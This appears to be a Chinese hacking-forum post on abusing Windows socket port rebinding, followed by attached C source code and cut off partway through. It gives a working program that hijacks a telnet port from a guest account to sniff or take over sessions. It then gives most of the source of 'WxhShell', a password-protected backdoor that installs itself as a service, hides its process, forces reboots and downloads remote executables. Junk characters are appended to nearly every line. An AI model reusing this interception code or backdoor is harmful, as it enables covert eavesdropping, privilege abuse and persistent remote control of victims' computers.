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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -\n@%$M]G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l?^4!&Nm  
@k/NY *+  
  saddr.sin_family = AF_INET; g SAt@2*U2  
U~l$\ c  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); BIWWMg  
P_p<`sC9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )D82N`c2\i  
M+9gL3W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #`X?=/q  
ApXy=?fc  
  这意味着什么?意味着可以进行如下的攻击: :Qf '2.h)  
f.`*Qg L  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 78%~N`x7  
'anG:=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lR6x3C H@  
p Q<Y:-`c  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ig':%2V/  
Oh\<VvZuN  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  A7hVHxNJ-  
1q1jZqno  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 fLm*1S|%\  
%\Mo-Ow!\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6;qy#\}2  
B[?CbU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Y,e B|  
0|\$Vp  
  #include ~PahoRS  
  #include  \qK&q  
  #include nSAdCJ;4  
  #include    wtV#l4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X<; f  
  int main() Jl9k``r*  
  { yU}qOgXx  
  WORD wVersionRequested; 8d-t|HkN  
  DWORD ret; 1"M]3Kl  
  WSADATA wsaData; :e%Pvk  
  BOOL val; 1!T1Y,w  
  SOCKADDR_IN saddr; YNj`W1  
  SOCKADDR_IN scaddr; {9aE5kR  
  int err; =;&yd';k  
  SOCKET s; pK'V9fD5J  
  SOCKET sc; 0aa&m[Mk  
  int caddsize; (%W&4a1di  
  HANDLE mt; T+k{W6  
  DWORD tid;   M8b;d}XL  
  wVersionRequested = MAKEWORD( 2, 2 ); (<oy N7NT  
  err = WSAStartup( wVersionRequested, &wsaData ); ?r2` Q  
  if ( err != 0 ) { LRG6:&  
  printf("error!WSAStartup failed!\n"); pW sDzb6?%  
  return -1; fG(SNNl+D  
  } T+K):u g  
  saddr.sin_family = AF_INET; P{+T< bk|  
   8j\cL'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \:ak ''  
|(LZ9I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |:<f-j7t~  
  saddr.sin_port = htons(23); zEyN)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8j % Tf;  
  { {_Rr 6  
  printf("error!socket failed!\n"); s^uS1  
  return -1; K]" #C  
  } P8)=Kbd  
  val = TRUE; o,8TDg  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Q_X.rUL0w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &_|#.  
  { "#oHYz3D  
  printf("error!setsockopt failed!\n"); zZ323pq  
  return -1; ouFYvtFg  
  } ]cMqahaY  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; f-n1I^|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7.#F,Ue_0T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R1GEh&U{  
4X |(5q?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) | Aw%zw1@  
  {  Qq;Foa  
  ret=GetLastError(); t+iHQfuP9A  
  printf("error!bind failed!\n"); %H&@^Tt a  
  return -1; $!yW_HTx  
  } 1@1U/ss1  
  listen(s,2); =i*;VFc  
  while(1) 0dh aAq`k  
  { #(JNn'fzq  
  caddsize = sizeof(scaddr); 4k_vdz  
  //接受连接请求 .QJ5sgmh  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c~uKsU  
  if(sc!=INVALID_SOCKET) 4 f'V8|QM{  
  { ,+xB$e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c>RFdc:U  
  if(mt==NULL) F!Q@ u  
  {  jQ  
  printf("Thread Creat Failed!\n"); &Ao+X=qw  
  break; u5 : q$P  
  } /qGf 1MHD  
  } ~%=MpQ3  
  CloseHandle(mt); 5r8< 7g:>C  
  } lP@Ki5  
  closesocket(s); pd;br8yE$@  
  WSACleanup(); (ECnM ti+  
  return 0; ^ xh;  
  }   _i|t Y4L  
  DWORD WINAPI ClientThread(LPVOID lpParam) 3ojlB|Z  
  { %<*g!y `  
  SOCKET ss = (SOCKET)lpParam; 1@R Db)<V  
  SOCKET sc; d>fkA0G/9!  
  unsigned char buf[4096]; R:k5QD9/&p  
  SOCKADDR_IN saddr; N@1+O,o  
  long num; oxkoA  
  DWORD val; pDIVZC  
  DWORD ret; _5# y06Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2fR02={-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2Mmz%S'd  
  saddr.sin_family = AF_INET; khrb-IY@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s,=i_gyPQ  
  saddr.sin_port = htons(23); orfO^;qTY  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /! $c/QZ  
  { U4-g^S[  
  printf("error!socket failed!\n"); ZUR6n>r  
  return -1; D.Q=]jOs  
  } JB`\G=PiL  
  val = 100; Q/_f zg  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `-l6S  
  { DhT>']Z  
  ret = GetLastError(); v` 7RCg`  
  return -1; OJ$]V,Z00x  
  } -[!P!d=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $[&*Bj11Yg  
  { G <f@#[$'  
  ret = GetLastError(); af+IP_6 .  
  return -1; vbBc}G"w  
  } FCuB\ Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3`.7<f`  
  { 2.zsCu4lj.  
  printf("error!socket connect failed!\n"); %_L\z*+  
  closesocket(sc); /8g^T")  
  closesocket(ss);  Q&g^c2  
  return -1; [[Fx[  
  } pDcjwlA%  
  while(1) /[)qEl2]K  
  { 5sJJGv#6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rIh l.5Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i2(1ki/|O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s,n0jix@  
  num = recv(ss,buf,4096,0); FPI;Jx6W'  
  if(num>0) ^[XYFQTL  
  send(sc,buf,num,0); #Av.iAs  
  else if(num==0) }36QsH8  
  break; ;u(<h?%e  
  num = recv(sc,buf,4096,0); A"D,Kg S  
  if(num>0) b7tOo7aH)  
  send(ss,buf,num,0); : b~6i%b  
  else if(num==0) [4C:r!  
  break; #KXa&C  
  } ;b(p=\i  
  closesocket(ss); ,%Up0Rr,  
  closesocket(sc); MP 2~;T}~  
  return 0 ; "7V2lu  
  } ~-m"   
\z7SkZt,GT  
fCtPu08{Z  
========================================================== <-S%kA8  
a@*S+3  
下边附上一个代码,,WXhSHELL ";Rtiiu  
$8[r9L!  
========================================================== }S$@ Ez6  
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#include "stdafx.h" x{c/$+Z[  
4NG?_D5&  
#include <stdio.h> WRDjh7~Efn  
#include <string.h> .Pw\~X3!  
#include <windows.h> :!b'Vk  
#include <winsock2.h> 5<j%EQN|D  
#include <winsvc.h> FR!? #!  
#include <urlmon.h> P2'DD 3   
!0C^TCuG  
#pragma comment (lib, "Ws2_32.lib") sWblFvHqrU  
#pragma comment (lib, "urlmon.lib") SD$h@p=!=  
bk^TFE1l  
#define MAX_USER   100 // 最大客户端连接数 J6G(_(d  
#define BUF_SOCK   200 // sock buffer E7)= `kSl  
#define KEY_BUFF   255 // 输入 buffer ez!C?  
8o 0%@5M  
#define REBOOT     0   // 重启 09kt[  
#define SHUTDOWN   1   // 关机 h!:~f-@j4  
]U7KLUY>:  
#define DEF_PORT   5000 // 监听端口 q)vplV1A  
/2Bi@syxK  
#define REG_LEN     16   // 注册表键长度 ?6jkI2w  
#define SVC_LEN     80   // NT服务名长度 K/=_b<  
:`2=@.  
// 从dll定义API ZRVT2VfN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 15o?{=b[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d[^~'V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -s$F&\5by  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QtqfG{  
0,rTdjH7  
// wxhshell配置信息  \qR %%S  
struct WSCFG { ADk8{L{UU  
  int ws_port;         // 监听端口 H0R&2#YD  
  char ws_passstr[REG_LEN]; // 口令 aKJQm '9Ks  
  int ws_autoins;       // 安装标记, 1=yes 0=no R% ,<\d7  
  char ws_regname[REG_LEN]; // 注册表键名 ZwerDkd  
  char ws_svcname[REG_LEN]; // 服务名 NDAw{[.%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #\ n8M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0#*#a13  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ] 0m&(9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3lq Mucr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TkO[rAC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7ei|XfR  
3^ ~KB'RZ  
}; V{&rQ@{W  
`TPOCxM Mo  
// default Wxhshell configuration \3jW~FV  
struct WSCFG wscfg={DEF_PORT, 9{8GP  
    "xuhuanlingzhe", $gM8{.!  
    1, <K4 ,7J$}h  
    "Wxhshell", ZzBQe  
    "Wxhshell", STw#lU) %(  
            "WxhShell Service", (q7 Ry4-  
    "Wrsky Windows CmdShell Service", \7 NpT}dj  
    "Please Input Your Password: ", U(;&(W"M  
  1, aCxE5$~$  
  "http://www.wrsky.com/wxhshell.exe", -+em!g'  
  "Wxhshell.exe" 'EfR|7m  
    }; 4r0b)Y &I  
k8uvNLA)a  
// 消息定义模块 {E0z@D)U-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5pRV 3K{H  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j]m|7]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ed_FiQd  
char *msg_ws_ext="\n\rExit."; zb Z4|_  
char *msg_ws_end="\n\rQuit."; mTEx,   
char *msg_ws_boot="\n\rReboot..."; .pvV1JA'  
char *msg_ws_poff="\n\rShutdown..."; RTu4@7XP  
char *msg_ws_down="\n\rSave to "; wgRs Z  
T}=>C+3r  
char *msg_ws_err="\n\rErr!"; awUx=%ERtA  
char *msg_ws_ok="\n\rOK!"; 4~OQhiJ   
BMIyskl=i  
char ExeFile[MAX_PATH]; @IP)S[^' t  
int nUser = 0; nbTVU+  
HANDLE handles[MAX_USER]; y{a$y}7#X  
int OsIsNt; .+([  
^+9sG$T_EV  
SERVICE_STATUS       serviceStatus; 3u\;j; Td!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iIGbHn,/  
d@3}U6,  
// 函数声明 Vax^8 -  
int Install(void); ZB[Qs   
int Uninstall(void); s{4\xAS>  
int DownloadFile(char *sURL, SOCKET wsh); ?`Y\)'}   
int Boot(int flag); <x),,a=X  
void HideProc(void); :g\rQazxO  
int GetOsVer(void); A=-F,=k(!/  
int Wxhshell(SOCKET wsl); gxGrspqg  
void TalkWithClient(void *cs); kz S=g|_  
int CmdShell(SOCKET sock); ^v@4|E$  
int StartFromService(void); N9rBW   
int StartWxhshell(LPSTR lpCmdLine); O!Z|r ?  
@v*/R%rv t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5Fm=/o1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |uH%6&\  
m3g2b _;  
// 数据结构和表定义 `ZaT}# Y  
SERVICE_TABLE_ENTRY DispatchTable[] = M#@aB"@J>  
{  l"zUv  
{wscfg.ws_svcname, NTServiceMain}, /)rkiwp  
{NULL, NULL} DBs*F x[  
}; 1]T`n/d V  
.~gl19#:T  
// 自我安装 nB ".'=  
int Install(void) Jj^GWZRu  
{ Z_1*YRBY;  
  char svExeFile[MAX_PATH]; (:+>#V)pZ  
  HKEY key; T^}  
  strcpy(svExeFile,ExeFile); l**;k+hw  
RP`2)/sMT  
// 如果是win9x系统,修改注册表设为自启动 p=QYc)3F  
if(!OsIsNt) { <vbIp&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %AnW~v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y3ZK%OyPR  
  RegCloseKey(key); J%]D%2vnk`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^5t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '?yCq$&  
  RegCloseKey(key); Ab1/.~^  
  return 0; BD#.-xWV  
    } >uI$^y1D  
  } AP\ofLmq  
} I6LD)?  
else { SgE/!+{  
=BZ?-mIU  
// 如果是NT以上系统,安装为系统服务 XO F1c3'H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #m8sK(#lo  
if (schSCManager!=0) p '{xoV  
{ })IO#,  
  SC_HANDLE schService = CreateService Q:|w%L*E  
  ( "MiD8wX-  
  schSCManager, :'r6 TVDW  
  wscfg.ws_svcname, Y+/l X6'  
  wscfg.ws_svcdisp, R& =f:sEi  
  SERVICE_ALL_ACCESS, 8"vwU@cfC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >LF&EM]  
  SERVICE_AUTO_START, Ok%}|/ P4  
  SERVICE_ERROR_NORMAL, '?GQ~Bf<>  
  svExeFile, |@o6NZ<9N  
  NULL, xkA2g[  
  NULL, .]}N55M  
  NULL, zSjgx_#U  
  NULL, -&[z\"T  
  NULL K.SeK3(  
  ); (w2= 2$  
  if (schService!=0) '?Iif#Z1  
  { $rG<uO  
  CloseServiceHandle(schService); B">yKB:D}t  
  CloseServiceHandle(schSCManager); 3An(jt$%Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5`E))?*"Pe  
  strcat(svExeFile,wscfg.ws_svcname); \T-~JQVj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `HX3|w6W;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [D'Gr*5~{  
  RegCloseKey(key); 3LlU]  
  return 0; px9>:t[P  
    } [B?z1z8l  
  } f e $Wu  
  CloseServiceHandle(schSCManager); O(OmGu4%  
} n!N\zx8  
} (3EUy"z-  
/b.oEGqZX  
return 1; Y&'8VdW  
} N)43};e  
=V^@%YIn  
// 自我卸载 ur2!#bU9  
int Uninstall(void) xKJ>gr"w#  
{ ibF#$&!  
  HKEY key; En9R>A;`  
%3a|<6  
if(!OsIsNt) { Wtv#h~jy9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [l[{6ZXt  
  RegDeleteValue(key,wscfg.ws_regname); "'eWn6O(  
  RegCloseKey(key); pX<a2F P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S>ugRasZ$  
  RegDeleteValue(key,wscfg.ws_regname); Vf{2dZZ{1  
  RegCloseKey(key); Xi~9&ed#$i  
  return 0; PX3  
  } h}=M^SL  
} &P n]  
} Z|`fHO3j  
else { =%h~/,  
S]yvMj_?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #Mi|IwL  
if (schSCManager!=0) {~GR8 U  
{ WaYO1*=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FWTx&Ip  
  if (schService!=0) 1| xN%27>  
  { |ft:|/^F&  
  if(DeleteService(schService)!=0) { }h~'AM  
  CloseServiceHandle(schService); / = ^L iP  
  CloseServiceHandle(schSCManager); 9!t4>  
  return 0; _IYY08&(r  
  } t>U!Zal"  
  CloseServiceHandle(schService); u3wL<$2[8  
  } X7e/:._SAH  
  CloseServiceHandle(schSCManager); sA_X<>vAKJ  
} R[ yL _>  
} z Z%/W)t  
)bYez  
return 1; H%Y%fQ ~^  
} dB`b9)Tk0z  
IH3FK!>6  
// 从指定url下载文件 <-|SIF  
int DownloadFile(char *sURL, SOCKET wsh) `)tK^[,<W  
{ 98<zCSe\]  
  HRESULT hr; C.E[6$oVc  
char seps[]= "/"; `$9L^Yg,4  
char *token; 31 ] 7z  
char *file; 4Vx+[8W  
char myURL[MAX_PATH]; 9U10d&M(  
char myFILE[MAX_PATH]; !Y%D 9  
>0T3'/k<H  
strcpy(myURL,sURL); %vc'{`P  
  token=strtok(myURL,seps); MxN]7  
  while(token!=NULL) *tAqt2{48  
  { =8S}Iat  
    file=token; 1b `G2?%  
  token=strtok(NULL,seps); &PWf:y{R`  
  } x<Se>+  
{Tx 3$eU  
GetCurrentDirectory(MAX_PATH,myFILE); H^v{Vo  
strcat(myFILE, "\\"); n^6TP'r  
strcat(myFILE, file); 0Uaem  
  send(wsh,myFILE,strlen(myFILE),0); J3\)Jy  
send(wsh,"...",3,0); /'+4vXc@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0=,'{Vz}A  
  if(hr==S_OK) &enlAV'#)O  
return 0; s=\7)n=,M  
else *eoq=,O  
return 1; mCrU//G  
-4`sqv ]  
} QX/]gX  
3YRB I|XO  
// 系统电源模块 ;@'0T4Z&l  
int Boot(int flag) dM gbW<uAu  
{ WH;xq^  
  HANDLE hToken; sbjtL,  
  TOKEN_PRIVILEGES tkp; `]LODgk~  
h *waRD  
  if(OsIsNt) { a^*B5G1(&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `7>K1slQ}S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ws().IZ  
    tkp.PrivilegeCount = 1; [EOMCH2Ki  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w}b<D#0XC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GFY-IC+fc  
if(flag==REBOOT) { 'Ix5,^M}B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g$gVm:=  
  return 0; V*kznm  
} j%Gbg J  
else { {"\q(R0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N  I3(  
  return 0; *e,CDV  
} :28@J?jjO  
  } S `wE$so>  
  else { S r[IoF)  
if(flag==REBOOT) { 9 G((wiE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ! fX9*0L  
  return 0; ty9rH=1  
} Z#@6#S`  
else { 5#BF,-Jv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >VypE8H]x  
  return 0; 9$EH K  
} r"1A`89  
} c_[ JjG^?P  
XNK 43fkB.  
return 1; e)b r`CD%  
} M;> ha,x  
|H<|{{E  
// win9x进程隐藏模块 *\C}Ok=  
void HideProc(void) }RH lYN  
{ <f[9ju  
+%x^RV}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4KZSL: A  
  if ( hKernel != NULL ) w8U2y/:>  
  { <xC: Ant  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Fv;u1Atiw  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vFR 1UPF  
    FreeLibrary(hKernel); #[C< J#;  
  } =sL(^UISl  
Age-AJ  
return; 4'_L W?DS  
}  s"#CkG  
M$gvq:}kt  
// 获取操作系统版本 # e$\~cPd  
int GetOsVer(void) Y]?Kqc  
{ ]C+eJ0"A  
  OSVERSIONINFO winfo; [3GKPX:OA/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -uO%[/h;N  
  GetVersionEx(&winfo); iczs8gj*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -.^@9 a>  
  return 1; ?V.ig  
  else W6h NJb  
  return 0; 'wegipK~R  
} QZqp F9Eu  
ZyZl\\8U  
// 客户端句柄模块  KhLg*EL  
int Wxhshell(SOCKET wsl) Mi_[9ku>%  
{ 9#s,K! !3{  
  SOCKET wsh; nz}]C04:-  
  struct sockaddr_in client; jg7d7{{SB  
  DWORD myID; aYqqq|  
x0y% \  
  while(nUser<MAX_USER) IQ o]9Lx  
{ DIL)7K4  
  int nSize=sizeof(client); =lYvj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;CLR{t(N#V  
  if(wsh==INVALID_SOCKET) return 1; ngtuYASc  
LqMe'z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7 _X&5ni  
if(handles[nUser]==0) ;|2U f   
  closesocket(wsh); C+}CU}  
else zUvB0\{q  
  nUser++; i%#th'C!P  
  } 5R$=^gE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :Fw *r|  
,P;8 }yQ  
  return 0; %?U"[F1  
} =]8f"wAh*  
fp`U?S6  
// 关闭 socket c-? Ygr  
void CloseIt(SOCKET wsh) 1x^W'n,HtK  
{ 7 3H@kf  
closesocket(wsh); dO Y lI`4  
nUser--; E!r4AjaC  
ExitThread(0); ddGkk@CA  
} O8!!UA8V  
l#mqV@?A~  
// 客户端请求句柄 JDIz28Ww  
void TalkWithClient(void *cs) X`8Y[Vb3}  
{ pT|./ Fe  
H&"_}  
  SOCKET wsh=(SOCKET)cs; (or =f`  
  char pwd[SVC_LEN]; qpH j4  
  char cmd[KEY_BUFF]; /&y,vkZTT  
char chr[1]; @^w!% ?J  
int i,j; n=lggBRx  
c80"8r  
  while (nUser < MAX_USER) { D N2hv2  
KFCQYdI`d  
if(wscfg.ws_passstr) { Zw3hp,P]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tyBg7dP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F(0pru4u  
  //ZeroMemory(pwd,KEY_BUFF); a,en8+r ]  
      i=0; #c8"  
  while(i<SVC_LEN) { C?_t8G./_  
D3,t6\m  
  // 设置超时 LR 8e|H0  
  fd_set FdRead; 1\"BvFE*E~  
  struct timeval TimeOut; s>[vT?  
  FD_ZERO(&FdRead); >KH(nc$  
  FD_SET(wsh,&FdRead); $Qx(aWE0  
  TimeOut.tv_sec=8; M%nZu{  
  TimeOut.tv_usec=0; V}3~7(   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6%Cna0x:&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b}"vI Rz  
6 d{D3e[p^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y9lbf_51  
  pwd=chr[0]; *J*zml3  
  if(chr[0]==0xd || chr[0]==0xa) { ;h*"E(P p  
  pwd=0; )o}=z\M-bN  
  break; uC <|T  
  } &q"uy:Rd  
  i++; 7KYF16A4  
    } EX[l0]fj  
v= 8~ZDY  
  // 如果是非法用户,关闭 socket x_>"Rnv:K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); see'!CjVo2  
} "N=&4<]I5  
:6HiP&<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z^SN#v$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'Gm!Jblo@  
K~9 jin  
while(1) { am)J'i,  
j$JV(fz  
  ZeroMemory(cmd,KEY_BUFF); jHUz`.8B  
:Kt mSY  
      // 自动支持客户端 telnet标准   }J4BxBuV8  
  j=0; |iF1 A  
  while(j<KEY_BUFF) { H f`&&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l.Lc]ZpB  
  cmd[j]=chr[0]; {#d`&]  
  if(chr[0]==0xa || chr[0]==0xd) { Jf8'N ot  
  cmd[j]=0; &El[  
  break; u8$~N$L  
  } PhI{3B/  
  j++; 123-i,epg  
    } 42H#n]Y  
-qr:c9\px  
  // 下载文件 'p{Y{ $Q  
  if(strstr(cmd,"http://")) { +LU).  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j+ T\c2d  
  if(DownloadFile(cmd,wsh)) cmC&s'/8`D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TO;]9`~;Mu  
  else 3mnLV*aRt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J>&dWKM3  
  } ~>wq;T:=  
  else { +O%a:d%  
Qr xO erp  
    switch(cmd[0]) { yp7,^l  
  Phjf$\pt  
  // 帮助 [eTck73  
  case '?': { kdZ-<O7@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y7IlqC`i  
    break; V0wC@?  
  } .(.G`aKnF  
  // 安装 gP"Mu#/D  
  case 'i': { ABS BtH ?  
    if(Install()) T<_1|eH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e^ K=8IW  
    else Yc( )'6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A?<"^<A^  
    break; gJ}'O4*b  
    } ;L/T}!Dx  
  // 卸载 m'vOFP)'  
  case 'r': {  I$sm5oL  
    if(Uninstall()) EXScqGa]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OYCFx2{  
    else YfYL?G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u8)r W  
    break; ;z=C^'  
    } :8/M6-EK  
  // 显示 wxhshell 所在路径 d+wNGN  
  case 'p': { R;I-IZS:  
    char svExeFile[MAX_PATH]; P+ h<{%:*  
    strcpy(svExeFile,"\n\r"); l2_E6U"  
      strcat(svExeFile,ExeFile); 5&7?0h+I  
        send(wsh,svExeFile,strlen(svExeFile),0); RM=+ZmA  
    break; xsypIbN  
    } 2%, ' }Bus  
  // 重启 mZ.6Njb  
  case 'b': { "{1}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fCo2".Tk  
    if(Boot(REBOOT)) r  E *u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X<bj2 w  
    else { ;Z<*.f'^fc  
    closesocket(wsh); {b8Y-  
    ExitThread(0); QRc=-Wu_(  
    } w6%CB E2  
    break; Ab|NjY:  
    } bTYP{x~ y  
  // 关机 0 GLB3I >  
  case 'd': { b`%e{99\  
